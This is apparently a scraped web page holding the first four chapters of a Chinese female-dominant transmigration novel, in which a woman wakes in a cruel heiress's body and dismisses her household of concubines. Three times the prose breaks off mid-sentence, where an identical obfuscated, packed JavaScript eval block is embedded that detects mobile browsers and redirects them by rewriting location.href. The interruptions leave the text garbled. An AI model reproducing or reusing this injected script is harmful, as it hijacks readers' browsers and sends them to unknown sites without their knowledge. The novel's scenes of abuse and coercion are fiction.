《我怎么能娶男主呢(女尊)》 1. 第 1 章 “女郎,女郎醒了,快叫大夫过来。” 耳边的声音嘈杂不堪,细细弱弱的哭声不断地响着,脚步声进进出出。 云竖费力地想要睁开眼睛,想要知道自己到底在哪里? 浑身的沉重让她呼吸越发凌乱,脑子里昏昏沉沉的,如何也睁不开眼睛。 做梦都不让人看看是什么个场景吗? 为什么这么吵? “妻主……” 她猛得睁开了眼睛,入目的却是上面的帷幔,繁琐复杂的花样密密麻麻地蔓延开,金线绣成翡翠鸟图案的帷帐将床上的四角遮得严严实实。 她转而看见了一堆男人。 长袍长发,低垂着头,恭俭柔顺。 云竖显然还有些恍惚,面无表情地盯着眼前的一切,一声不吭。 屋内阴暗奢靡,死气沉沉,带着一丝颓废,蜡烛的余光照亮了半拢着的帷幔。 坐靠在床头的女人穿着薄衫,狭长的眼眸看上去阴沉冷漠,过于瘦削的肩膀慢慢挺直,俯视看向眼前的场景。 跪在地上的男人怕得浑身发抖,甚至直接跪爬在地上,朝床上的人过去。 “妻主,我不是故意要推袁侍夫下湖的,是他自己跳下去的。” 他已经哭花了妆容,过于瘦削的面容上粉紫交织。 屋内静悄悄的,他抬眸去看床上的人,努力地露出妻主喜欢的姿态,却瞧见妻主的脸上露出更加不悦的神情,甚至厌烦。 旁边候着的侍从见女郎没有露出缓和的神情,示意旁边的人把他拉下去。 “女郎才刚刚醒来,都聚在这里做什么?还不快把人拉出去。” 听到吩咐的两人作势就要把人拖下去,杨玫挣扎着挣脱开那两个人的束缚,爬到床头攥住她的袖子开始哭起来。 “妻主,妻主我不是故意的。” 她终于缓过来,低眸看着垂首躬身发抖的人。 “不是故意什么?” 发出的声音很哑,很沉,哪里是她自己的声音。 她拧眉看着费力抬头身子摇晃的人,下意识抬手压在他的头顶上,那人吓得瞬间趴在地上。 云竖收回手,看着自己的手掌,又掀起自己的袖子看了看手臂。 不是她的身体。 苍白瘦削,凸起的青筋密密麻麻,唯一可能看出来的是这具身体骨架有些大。 四周的人似乎都在等着她说话,什么妻主什么袁侍夫。 这具身体的身份很高吗?已经成婚了吗? 那她怎么在这里?她不是在高铁上休息吗? 她脸上的神情变来变去,唯一的可能就是猝死。 屋内发闷的空气和掺杂的奇怪气味几乎让她无法控制大脑的烦躁,甚至根本不想去听嘈杂的声音。 她突然剧烈地咳嗽,似乎要咳出血来才罢休。 “都下去。” 唯一的声音让屋内的人吓了一跳,低垂着头退出屋内,连带着将地上跪趴发抖的杨玫带下去。 那些跪在地上的其他男人也顺从起来,一声不吭的,没有任何表情。 衣着朴素,头上也没有什么装饰。 唯一的特点就是他们的腰都非常的细。 好似只是被迫来过过场,什么反应也没有,空洞疲惫。 屋内一下空了下来,云竖看着屋内的摆设,目光又落在那屏风上,试图透过屏风去看向外面。 这是哪里? 这身子似乎亏空了许多,没有力气,虚弱不堪。 她没有机会去照镜子,看看自己是什么模样。 她连起身的力气都没有。 屋内密闭昏暗,浓郁的药味几乎将锦衾也腌上了味。 她脑袋空空,甚至一点也不想思考。 身体残留的情绪只有恐惧。 她又躺回床上,觉得这样又好像在等死一般,费力开口让人进来。 侍从从外面走进来,不敢直视床上的女郎,“女郎有何吩咐?” “去将窗户打开。” 侍从顺从地走到窗户旁边,将垂落下来的纱幔用细带子束缚,随后推开窗户。 外面的风顺势吹进来,清凉凉的,很舒服。 “袁侍夫呢?” 侍从很快回应,声音细细的,“被女郎救上来后,便一直待在屋内,主君也勒令袁侍夫就待在院子里不要出来。” “我饿了。” 她平静地看着眼前的人。 他开始慌张起来,“奴这就让人备好端上来。” 害怕吗? 刚刚所有人都在害怕。 害怕她做什么吗? 发脾气?打人? 男侍见女郎没有出声,退下去连忙让人把吃食端过来。 云竖倚靠在床头,看着自己的手臂,又去触碰自己其他的肢体。 她比上辈子可能还要高许多。 但与身高不符合的是肌肉,体型偏弱,病恹恹的,没有力气。 很快地,吃食被端上来,那几个男侍跪在地上,抬手支撑着头顶的端盘。 云竖沉默了一下,觉得哪哪都不习惯。 她没有出声,简单吃了几口,便让他们下去。 没有女人。 她醒来后没有见到一个女人。 这具身体的父母呢? 什么妻主,什么侍夫? 女尊男卑吗? 云竖有些恍惚,恍惚自己是穿书了还是穿越了。 直到夜里,她才有力气走下床来。 她推开门,只穿着一件薄衫,外面已经挂起了灯笼,只依稀可见庭院的部署。 那些守在门口的侍从连忙俯身行礼,似乎有些害怕。 四周静悄悄的,月光也没有。 她看向长廊,又看向屋檐上挂着的铃铛。 小窗新绿,气温略低,屋里还残有未收起来的毛毯,熏香驱寒,帷幔也厚重繁琐,想来是春季。 垂落下来的头发被风吹得有些凌乱,连带着宽大的袖子也鼓了起来。 她微微抿唇,却抬脚走向长廊。 侍从有些惊疑,以为女郎又要去看袁侍夫,连忙抬脚跟上,打着灯笼在前面照看。 他悄悄瞅着女郎,觉得她有些变了。 一言不发地,非常沉默。 女郎之前的脾性向来阴晴不定,暴躁易怒,喜欢什么也是强取豪夺。 想来大病缠身,连性子也消去了几分。 白墙青砖,瓦雪消残,杨柳依依。 假山上覆着绿苔,附近的土地也翠绿湿润,长廊的木板也带着潮气。 见女郎停留远看假山,拿着披风的侍从连忙将衣裳盖在女郎的肩膀上,生怕病体愈加严重。 “父亲呢?” 侍从回道,“府君现下歇息了。” “母亲呢?” 侍从虽然不解,却也不敢不应,“家主现下在京都交货,再过半月才回。” 交货? 商贾吗? 云竖不再说话,粗粗看了几眼宅邸的建筑,便原路返回。 不去找袁侍夫了吗? 跟着的几位侍从互相看相对方,都觉得惊奇。 女郎痴心袁侍夫,可偏偏袁侍夫已经婚配,对方是个秀才,只待年底成婚,却被女郎强纳了进来。 袁侍夫是镇上绣夫的儿子,家境贫寒,容貌中等,性情却倨傲。 袁侍夫被纳进来也看不起女郎,嫌弃她没有出息,只知道花天酒地,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319743|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女郎避之不及,言语越发过分。 府上的侍夫很多,但也没有袁侍夫这般行径的人。 几人有些莫名的激动,却也按耐下来,亦步亦趋地跟在女郎身后。 翌日。 云竖起得很早,喝过汤药后却只能继续倚靠在榻上。 屋内点着碳火,厚重的帘子将外面的风挡得严严实实,时不时能听到外面珠子的碰撞声。 她披着厚重的裘衣,时不时地咳嗽,垂眸看着说话的侍从。 “女郎可要找侍夫们来侍奉?” “侍夫?后院有多少个侍夫。” 侍从想了想,“女郎有二十二个侍夫。” “二十二个侍夫,一个也不主动过来,我还要他们做什么。” 女人声音有些冷,连带着面容也阴冷下来。 这句话显然让他懵了一下。 女郎是什么意思? 发卖掉那些侍夫吗? 他低垂着头,不敢吭声。 见女郎出现疲倦的神情,他退出屋内,眼睛突然弯了弯。 他跟着其他人走出院子里,扯了扯其中一个人,压低声音,“你猜猜,刚刚女郎在里面说了什么。” “女郎要卖掉那些侍夫。” “什么?” 那些侍夫里不乏是强买回来的,有花楼里的,也有良家子。 贞洁几乎刻死在他们的脑子里,没了贞洁,又被发卖,那真真是不如死了去。 在角落里的人突然松了手上的食盒,黑洞洞的眼睛机械般地移到院子的大门。 发卖吗? 他静静地站在那里,瘦削的肩膀轻轻抖着,脑子里冒出了大胆的想法。 他几乎被自己冒出来的想法吓了一跳,唇角诡异地向上提了提,随即高高兴兴地回了自己的屋子里。 “阿烟不是去送点心了吗?怎么又回来了?” 男人腼腆地笑了笑,声音极轻,“晚些再去。” …… “我才不要嫁她呢,这还没嫁过去,就听到她宠爱侍夫,连命都不要了,我嫁过去做什么?她还有那么多侍夫,谁知道哪个肚子里揣着孩子。” 男人看了看屋外,连忙关上门,对着里面发脾气的儿子说道,“你还没嫁出去,就说什么孩子不孩子,这种话哪里是能随便说出来的。” “可我就是不嫁,我为什么要嫁给那个废物。” 他恨铁不成钢地看着自己的儿子,“她家有钱,整条河道都是她家的生意,要不是云竖不正经,哪里会轮到我们。你嫁过去,好生管理那些贱蹄子就是,想要什么没有。” “难不成你真要跟着你那柳姐姐不成,吃苦受罪的,哪里还有什么新衣服给你穿,哪个女人后院里没几个侍夫,你那些破本子少看。” 他家占个书香门第的好名声,可早没了之前的富庶,一个铜板恨不得掰成两个用。 吕氏说累了,给自己倒了一杯水喝,“等云家的人来,你老实一点,那些话都给咽进肚子里。” “父亲!” 他却老实下来,眼珠子滴溜溜地转着,想着别的事情。 外面传来了声音,吕氏连忙开门出去,脸上带着笑容,将人迎了进来。 “这就是你的儿子吧。”来人扫了一眼端坐在那的人,穿着艳丽的衣裳,微微蹙眉。 “主君说了,若是贵公子愿意嫁进来,自然不会亏待他。” “小儿自然愿意的。” 屋内声音若有若无的,大门虽敞开着,吕玉青的心思却跑远了。 若他嫁进去了,柳姐姐自然有钱上京赶考。 若柳姐姐得了进士,他还怕什么?云家自然也要被压在脚底下。 商贾哪里比得上进士。 2. 第 2 章 第二日。 这具身体的父亲终于来了。 他被扶着走进来,面容端庄,跟随的侍从也有底气,一进来就是让屋内候着的侍从离去。 云父看着榻上拖着病体的人,顿然浮现恼怒的神情。 她见着眼前的人,低垂着眸朝他喊道:“父亲。” 他沉声道,“之前的那些事情不能再做了,不过是一个侍夫而已,险些没了命,你要我去哪里哭去。” 见她不语,他先是打量了她的神情,又缓和语气,嘴角也带上笑容,“我让人给你说了一门亲,虽然还没下聘礼,这件事情差不多也落下来了。对方是书香门第,不像你后宅里的那些男子,你该有个子嗣了。” 她默了一下,“父亲也不管我喜欢不喜欢吗?” “难不成你还对他念念不忘?他身份贵重,不是我们能想的,去了一趟京都,怎么脑子也落在那了,都是男人,哪一个都能为你生孩子,容貌不过是一时的。” “我就不该让你母亲带你去京都。袁桉就罢了,这件事情你一定得听我的。” 说着,他就拿起手帕擦拭眼泪,余光就见着自己那不孝女旁边放着一本书。 他微微眯了眯眼睛,大殷典史。 云竖顺着他的目光看向手边随手放的手,脑子里却想到了旁处。 她还喜欢谁?不应该是后院被关着的袁侍夫吗? “父亲觉得我该是怎么样?”她低垂着眸,语气清淡,轻飘飘地问出了这句话。 他惊惧了一下,蓦得心跳加快,迅速抬眸看向自己唯一的女儿。 明明跟之前一模一样,哪里也没有变,就连神态也跟之前一样,为什么会问出这种话。 他顿了顿,放缓了语气,“成家立业,这是自古不变的道理。” “成家立业?”她突然冷了脸,“可我不喜欢那些男子,我又为何成家。” 云父注视她,“可...可我们家没那个本事啊。你喜欢那位贵卿,可也要想想,我们只是商贾。” 一个贵卿,哪里会下嫁给商贾呢? 他继续劝导,“吕家的那位也是个识文念字的,会说几句诗文。” “父亲,我累了。” 云父微微蹙眉,嘴唇蠕动着,欲言又止。 都过了一年多了,为什么还没把人忘记,就这般喜欢吗? 他起身离开,离开前站在屏风前又看了几眼正在看书的女儿。 真是疯了。 真是疯了。 为了一个男人,几乎是要疯了。 难不成多看几本书,就有本事去娶回来吗? 他离开屋内,几乎气极了。 旁边的男侍见主君如此气恼,斟酌语句,“女郎若真愿意如此,也比之前好啊。” “可若她不娶旁人呢?一时是好的,可后面呢?” 说着,他想到了被关起来的袁桉,“那贱蹄子来了半年还不老实,还学会跳水了,若有本事抓住我儿的心,哪里会落得今天的下场。” “那些侍夫都好好看着,别跑到子漾这里来闹。” ………… 一连几天,云竖的身体恢复了一点,却也只是在屋内走动。 “女郎今日可要去哪个侍夫的屋内?” 她的手顿了顿,合上书,将侍夫两个字在嘴里念了一遍。 她完全没有那种心思,甚至醒过来时,一眼望过去,没有一个喜欢的。 这几日,她差不多也摸清楚他们的来历,没有几个是自愿的。 只有两个是塞进来的通房,其中一个还没了命。 其中还有几个被强进来就没了下文,清白也留着。 细细数着,原身经常去的屋子内居然是最开始的一个通房内。 那袁侍夫半年里一次也没同榻过。 “叫阿烟来。” “是。” 还没天黑,叫阿烟的侍子孤身一人走了进来。 他脚步很轻,手上还绑着轻薄的丝带,腰身细细一截,很是漂亮。 “女郎。” 云竖打量着他的模样,眼眸平静,“为何手上绑着丝带。” 阿烟有些疑惑的歪头,带着平静,“女郎让我戴的,说是他喜欢戴。” 眼前的人很瘦,眼眸漆黑呆滞,勉强涂抹的脂粉看上去让他更好摆弄。 不像是被宠爱的侍夫,反而更像是玩具。 “往后不用戴了。” 她收回目光,“自己去床上歇着,明早上再走。” 阿烟轻抿着唇,觉得那日听到的不是假话。 往日里女郎最爱折磨人了,哪里会这么轻松放过他。 如今要发卖,自然要留着他的皮肉,免得卖不出去。 他转身去暖榻,抬手扯下发髻上的素簪,紧紧握在手心。 杀了她,他就不会被发卖了。 他躺在床上,手指无意识的抚摸锦衾上的芙蓉绣,黑发披散在身后,黑洞的眼眸静静盯着坐在那的人。 很快地,他的眼皮不受控制地合上,呼吸变得绵长。 云竖显然是不知道的。 见天完全黑下去,她才起身关上窗户,余光盯着床上已经睡过去的人。 她盯着他,思索着如何把后院的人都遣散去。 床上的人瘦得仿若薄纸,呼吸清浅,被折磨得厉害。 她走到铜镜前,扯下自己的发带,看着镜子里的自己,有些恍惚。 这不像她,虽然五官相像,可眉眼的狠厉和阴冷都无需去多关注,自然知道这个人不好惹。 连自己的脾性这几日也不怎么耐心,甚至想要发脾气。 她只需要不说话,不多做一些奇怪的动作,没有人怀疑这座府邸的女郎已经换了人。 蜡烛被吹灭,她躺在外侧,没有管里面的人。 半夜里,阿烟突然惊醒,慢慢摸索着四周,再探出去就是一团冷气。 他摸到自己的发簪,紧紧握住,又冷静下来看了一眼躺在旁处的女人。 能够轻松压制自己,扼住自己性命的人。 现下她睡着了,即便反应过来也已经结束了。 阿烟眼睛睁得大大的,死死地握紧手上过于锋利的簪子,慢慢地靠近过去,散乱的发丝却先他一步落在了女人的手臂上。 他毫无所觉,目光紧紧盯着她心脏所在的地方。 在这里吗? 他不确定。 这是难得的机会。 她不打他,他也有力气。 “睡不着吗?” 那声音冷淡,轻飘飘的,仿佛好像已经知道自己做的事情一样。 他的手臂下意识抖了抖,想都没想地就缩了回来。 “奴只是想下床喝水。” 细细又充满惶恐的声音在寂静的夜里响起,连带着被褥摩擦的声音。 她坐起来倚靠在床头,点燃床头的蜡烛,随即看向显然很紧张的人。 “去吧。” 阿烟敛眸,小心地从里侧挪到外侧,走下床给自己倒了一杯水。 “女郎渴吗?” “不渴。” 阿烟垂眸喝了一口,夜里的水冰凉,咽下去瞬间清醒了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319744|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点。 他小心翼翼放回去,又原路返回到里侧,害怕地看向云竖。 好奇怪。 按往日里,她早该打自己了。 怎么可能这么平静。 因为还没有恢复吗? “睡吧。” 他又回到了被褥里,不敢乱看,只埋在了里面。 他喘着气,觉得有些荒诞。 碎发黏连在他的脸上,皮肤慢慢红了起来,带着温热。 他罕见地,觉得很安静。 若是女郎一直这样就好了。 他不会被打,只是侍奉而已。 他第一次侍奉时,便被打得浑身青紫下不来床。 同房时,女郎更是粗暴。 他紧紧握着手上的簪子,又从被褥里探出头来。 蜡烛被吹灭了。 她又躺了回去。 杀不了她。 要被发卖了吗? 他定定地盯着她,眼眸黑沉沉的。 翌日。 云竖下床便随意理了理自己的头发。 头发太长了,在之前她一直留得都是披肩的短发。 床上的人还在睡着,睡得很熟。 外面的人陆陆续续进来,帮女郎换上衣袍,又轻轻瞥了一眼被帷幔遮得床榻。 真奇怪。 往日里,那个男人早就被人抬下去养伤了。 昨日是被女郎宠幸了吗? 连女郎起来都不知道吗? 他们觉得不对劲,总不能是女郎开始怜惜那个男人。 阿烟虽然皮相尚可,却太瘦了。 听伺候阿烟的仆从说,衣裳底下都是密密麻麻地伤痕,有的消也消不掉。 近日里,精神也不大好。 后宅里疯得人不少,许多侍从都在打赌疯的第一个人是他。 毕竟阿烟伺候女郎三年了。 其他侍夫都是近两年纳进来的。 听到动静,阿烟撑着手坐起来,掀开帷幔下了床。 女郎已经洗漱完了。 屋内的侍从看向阿烟,没有任何问题,反而看上去精神很好,面容红润。 只看了一眼,他们就低下头去,不再看第二眼。 “吃完早食就回去吧。” 云竖看了一眼醒来的人,不轻不淡道,“愣着做什么。” 侍从听了,连忙簇拥着阿烟把他带到屏风后换衣休整。 窗户被打开,屋内亮堂了许多。 屋子里的摆设陆陆续续被换了一些东西,比如帷幔,比如屋内的瓷瓶。 她并不喜欢繁琐复杂的饰品。 她倚靠在榻上,随意翻开一本书,这几日也将这个世界大体上的方向大致了解。 男子束缚很严重,女子为尊。 男子生孕,女子当官。 这座府邸的主人叫云泉,从事丝绸瓷器。 父亲是私塾院长的嫡子,却因为母亲的那张脸实在好看,便答应了她的求娶下嫁她。 在扬州算是财主。 原身今年也不过17岁。 尊卑等级严森,士农工商,商户在最下层,禁止科举。 虽说是这样,但有钱有有钱的好处,贿赂显然成了一个好的办法去进行上下流通。 之前可以通过捐纳财物等方式获得官职,现在被明令禁止。 不出意外,她可能也要从事商业,可从事这个,哪里有当官来得好。 政策不同,对商业的态度也不同,打压越狠越无力。 云竖看着书本,开始思索要怎么办。 3. 第 3 章 阿烟被带下去后,屋内就只有云竖一人。 侍从自觉离开,只在差不多的时间进来换茶水和点心。 女郎近日是奇怪的,但说不上来哪里奇怪。 好像是兴趣变了,开始痴迷于书本,不再喜欢去外面,也开始讨厌和男子接触。 可人还是那个人,说话语气差不多,脾气还是不好惹。 “女郎大病初愈,自然哪里都去不得,不就只能看书了吗?有什么奇怪的,主君也很喜欢看书啊。” 长廊的侍从压低声音,“可别让女郎听到了,女郎最讨厌别人在她后面说她的事情。” “女郎现下在里面看书,怎么会知道我们在说话。女郎也只是这几年性子变得有些大,之前还是好好的。听说从京都回来后,性子就开始奇奇怪怪了。”他嘟囔着,一边说一边四处探着,也怕被发现。 还没消停一会儿,院子处就进来了几个人。 那两个侍从连忙垂头,避在一侧。 云父看着眼前的两个侍从,微微皱眉。 子漾身边太多男子了。 如何能顺利娶夫呢? 他看了一眼身后小侍怀中抱的画像,嘴唇翕动着,还是没说什么。 穿过长廊进入里屋,云父这才意识到屋内的变化。 他怔了一下,视线转移着,有些疑惑。 难不成下水一趟,性子还磨好了? 他面色有些古怪,抬手示意后面的人把画像拿过来。 “父亲这是做什么?” “你不是想挑自己喜欢的吗?”云父将画像打开,“这个可喜欢?” 云竖现在哪里有这种心思,现在心心念念的就两个字——安稳。 彻底扎根下来。 她只粗粗扫了一眼,“不喜欢。” “这个呢?” 她还是摇了摇头。 才过目几个画像,云竖突然开口,“我还是喜欢他。父亲若想我安稳下来,帮我处置那些侍子吧,我不想看到他们了。” 云父皱眉,“你既纳了他们,岂有这种想法,你想逼死他们不成?” “给钱让他们回家也不愿意吗?”云竖偏头,像是不想言语。 云父怒然,“你还想着那个狐狸精,有什么好的,以往你胡闹就算了,现在岂由得你胡乱来,不娶也得娶。” 为何总想着不切实际的,虽然是自个女儿,但她什么品性他还不知道吗? 那些个贵子就算是低嫁也是为官的人,岂会嫁给商人。 更别提现在,正经人家的书香门第都不愿意嫁进来。 他拂袖出去,屋内静悄悄的,侍从更是大气不敢喘一下。 云竖默了一下,看向旁边的侍从,“去把那些侍夫都叫过来。” “是。” 云竖翻着书,指尖停在一侧,抽出来了一张画纸,被折叠起来的,随意塞进来的画纸。 画纸里还夹着一根簪子。 她打开画纸,便看到上面的画像,跟仕女图一般,倚靠树木,敛眸垂目,很是端庄。 她又看着手上的簪子,轻轻转动着,觉得稀奇。 原身就这般喜欢吗? 还没到一炷香的时间,几乎所有的侍夫都到了庭院里。 其中几个人互相看不顺眼,却也只是摆着脸。 云竖走出屋内,披着外袍,时不时低头咳一下。 侍从将椅子搬出来,云竖坐下来,垂眸看着那些男人。 “我给你们两个选择。”女人的声音有些哑,“第一个选择,跟这些侍从一样,在宅院做事,不再是侍夫。第二个选择,拿钱走人。” “我给你们时间选择,自己来取契文和银钱。” 云竖给的钱几乎够他们用一辈子,若胡乱花也用不长多久。 阿烟是家生子,即便拿了钱也无处可去,说不定还会惹人注意。 他轻轻咬唇,还是主动去了那侍从旁边,主动说了选择,便提前离去。 那二十来个侍夫陆陆续续上来,几乎一大半的人直接拿钱走人,还有几个人便是无处可去。 云竖让人把剩下没拿的银子给了那几个留下来的人。 她本就让人准备了22份。 她看着还有一份的银子,“还有谁没来?” “袁侍夫,他被关在院子里,主君不让他出来。”他回答着,不想女郎还想把袁侍夫也赶走。 之前将袁侍夫纳进来的时候,可是他说什么便给什么,极为宠溺。 云竖没吭声,也不想直接把事情做绝,免得直接把疑心做真。 “还要关多久?” “主君说,要关袁侍夫三个月。” 三个月? 云竖没再说话,只是进屋继续待着。 这具身体一生大病便如此虚弱,甚至吹不了冷风。 明明已经卧床休息了几天。 她已经好久没有生病过了,这具身体生病起来,让她很不适应。 太虚了。 站个五六分钟,腿就开始无力。 屋内碳火点足,窗户紧关着,再次处于封闭保暖的空间。 她缓了一下,坐在榻上平复呼吸。 碎发黏在额上,有些散乱的头发披散在肩上,将云竖阴沉沉的眉目缓和了许多。 旁边候着的侍从偷偷瞄了一眼女郎,突然红了红脸。 女郎不凶的时候还是正常的。 女郎的长相偏向家主,偏偏又像主君的眉眼,若不沉迷酒色,怎么会落到没人肯嫁的地步呢? 女郎的皮相是好的,就是性格不行。 他敛了心神,也不敢走神,只是走近俯身询问女郎累不累渴不渴,需要去重新拿本书吗? 谁也不知道女郎到底想做什么。 为何驱散侍夫? 云父既气却又觉得理应如此,也随了她的做法。 不要侍夫,那正君是必然要娶的。 …… 云竖恢复得差不多后,便一直待在书房内,一日也不见得出来几次。 她请人过来模仿那张画像,让人裱起来放在书房内,让人一进来就看到。 那根簪子被她放了起来,画像就足够当借口。 门口又传来了动静。 “画像又送过来了?” 她侧身去看,视线落在那画像上,眼眸内慢慢浮现阴郁和躁动,整个人都带着暴躁,“等会儿就送回去。” 门口的侍从下意识抖了一下,果然前几日生病的女郎是个假象。 汛蓝连门槛都没跨进去,连忙低头应下就把画像送走。 他拿回来了就算完全任务,如今送回去也是正常的。 他苦着脸,感觉又要被侍长说,抱着怀中的几个画像就往长廊走,还没走几步,就看见有人在那探头看什么。 “你在做什么?”讯蓝拧眉出声说道。 “原是讯蓝,我是袁侍夫房里的紫婵,袁侍夫病了,我特意来找女郎去救救我家袁侍夫。”紫婵露出身体,眉眼愁苦。 “让我去见一下女郎吧。”紫婵看向他的背后,拔高声音,试图让屋内的人听到。 紫婵说着,作势就要越过他冲过去要见人。 他一边大声喊着,一边又装可怜,“让我见见女郎……” 画卷掉了一地,在门口守着的侍从连忙把不知好歹的紫婵带下去。 “把人放开。” 从屋内出来的云竖看着眼前的混乱,开口让他们散开。 “什么生病了。”云竖问道。 紫婵被松开,连忙回道,“袁侍夫生病了,一直想着女郎过去看看他。” 云竖没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319745|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,只是盯着紫婵。 紫婵不明所以,为什么女郎不说话了。他甚至开始慌张起来,害怕女郎处罚。 女郎不是一向宠爱袁侍夫吗? “我等会儿过去。”她回道。 紫婵连忙应下,得知肯定的消息后就转身离开。 袁桉的院子里。 “妻主可来了?”袁侍夫听到动静,出声问道。 他神色忧虑,开始害怕起来。 听说她最近赶了许多人,让人打听也是说妻主厌烦了他们不懂事。 可论不懂事,他不是其中一位吗? 虽说占着她的宠爱,没少闹腾,可她喜欢自己,这不是正常的吗? “女郎说,等会儿来。” 袁侍夫皱眉,声音突然尖锐,“等会儿来?她莫不是要把我一块赶出去。” 他说着,却开始后怕起来。 若他被赶出去呢? 柳姐姐虽然还未成婚,还会要他吗?还会嫌弃他没有银钱吗? 外面天色很好,他本该自在地出去,而不是被关在这里。 到了下午。 袁侍夫才等来人。 他绕过屏风走来,见着她坐在那,先是斟酌语句,提了一下嘴角的弧度。 “妻主……” 云竖抬眸看向他,“病好了?” 袁侍夫愣了一下,随即又摆上委屈,“妻主几日不来见我,是厌烦我了吗?” “就站在那吧,我过来也只是知会你一声。”云竖从袖带中取出信纸,让侍从把这个递到他手里。 袁侍夫不明所以,看着手上的信纸,赫然脸色煞白。 “妻主……这不是我写的……我是被冤枉的。” 女人突然笑了笑,脸上霎时阴沉下来,手上的茶杯被她摔在地上,“你当我是傻的还是觉得自己做得很好?” “拿着我给你的东西送给别的女人,还与她私会,你说我如何容得了你。” 袁侍夫后退了一步,手上的信纸一张一张地掉在地上,顿时被她的话说懵了,眼睛附近都透着惊恐。 为什么她会知道,谁告诉她的,是谁? 他缓慢看向旁边的侍从,眼睛瞪得很大,“是你个贱人说的是不是?” 他张了张口,慌乱无主,眼睛顿时红了起来,脚步踉跄地走到云竖旁边,“妻主,不是这样的,不是这样的,你原谅我好不好,我不会这样做了。” 云竖低眸看着他这张脸,恍然想到画像中的人,有几分相似。 原身喜欢谁呢? 云竖抬手牵制住他的下颚,“按府规来定,你该杖则三十,再被发卖,今日我只将你赶出府,你拿了银钱就走。” 她语气冷冷的,“你若再做什么再说什么,我刚刚的话就不作数。” 她松开手,起身抬脚离开。 他坐在地上,勉强站起来,浑身发冷。 他没再闹,反而跌跌撞撞地走进自己的室内,像是疯子一般连忙收取自己的首饰和绸衣。 她不留他,他也不待在这了。 他被纳进来,契文就被他拿到了手里,往日里她送的东西都被他折合成了银钱,手臂上的朱砂也还在。 袁桉草草收拾后,就拿着包袱离开。 走到门口,他呼吸很乱,抱紧怀中的包袱,“她说了,会放我走的,你敢拦我?” “从后门走吧,你一个被休弃的人,怎么有资格从这里走。” 袁按死咬着下唇,极为愤怒,却也老老实实跟在她后面走了后门。 旁边经过的两个侍从嘀咕着,“女郎何必如此轻松放过他。” “到底也是女郎之前宠溺的人,连下水都二话不说,万一那袁侍夫肯去伏低做小,说不定女郎还会放过他。这一声不吭拿了银钱就跑,恐怕早有了那个心思。” 4. 第 4 章 “你说女郎将后院的人全赶走了?”云父拧眉,“她这是想做什么?” “正君不愿意娶,这下连侍夫都赶得干干净净,她到底想做什么?” 难不成被水淹了一次,脑子都奇怪了吗? “想来女郎有其他打算,说不定也是为了更好的娶正君呢?女郎归回正途,想来也是好的。”旁边的侍从缓缓说道。 “家主也快回来了,现下女郎如此,早日参与家中事务才是最要紧的。” 云母不止有云竖一个女儿,还有一个侍夫生的次女和另一个侍夫生的庶子。 侍夫平日里老实不会出来闹腾,云父自然不会特意为难他。 可孩子越长越大,就开始有了比较。 难保家主不会有别的心思。 那庶出的次女跟着妻主去京都做生意,上次回来便多有称赞。 纵使妻主疼爱子漾。 想到这里,云父蹙眉,把刚刚的不安压下去,只先看着这一月她想做什么。 万万没有越过子漾的道理,便是那次女再如何有本事,也不能越过子漾。 “妻主也该回来了,细细算着,想来还有三四日,你让下人看着点子漾,别让她这几日又闯出什么事来。” 这日。 云竖出府,身边只跟了一个随从。 她先是去了书店,随意翻找着书本,又去了桥边。 桥边风景很好,花枝轻颤着,不少人停留。 刚刚还有太阳,现在却暗了下来。 天气暗沉沉的,从雨点慢慢变大,活像是冰坠子一样,突然下起了大雨。 好不容易出来一趟的云竖躲在铺子门口,朝外面看着有些发愣。 “这天气真古怪,一会儿有雨一会儿晴。” 旁边的人嘀咕着,匆匆撑起伞就往外走。 雨下的有些大,连视眼都有点模糊,仿佛水在地上被蒸汽了一般,密集地往空中密集扩散。 她站在屋檐下,风很大。 她还没看清楚,就见着一个少年搭着纸伞匆忙走过,衣裳表层的白纱被风吹得飘起来,腰间的蓝色宽带也接连沾了一点雨,濡湿笨重,连着她的心跳都停止跳动了一下。 眼前细细碎碎的雨遮住了眼前的景色,她没有看清楚那个少年的长相。 云竖下意识想要跟过去,想要看清楚那个人是谁,完全没有想到自己身处哪里。 “女郎?雨下得这么大,你要去哪里?” 她恍惚了一下,停止了要跟上前的脚步,反而转身回了铺子内。 “没什么,我们回去吧。” 真奇怪。 怎么会想要去看见那个人的脸。 空气中雾蒙蒙的,带着黏稠的湿度,在屋内躲雨都感觉有些不舒服,活像是被雨淋过一般。 云竖被搭着伞,下意识回头又看了一眼刚刚的方向,匆匆上了马车。 “听说这几日有喜事,铺子生意都好了许多。女郎可多去看看,毕竟将来女郎都是要接管的。” 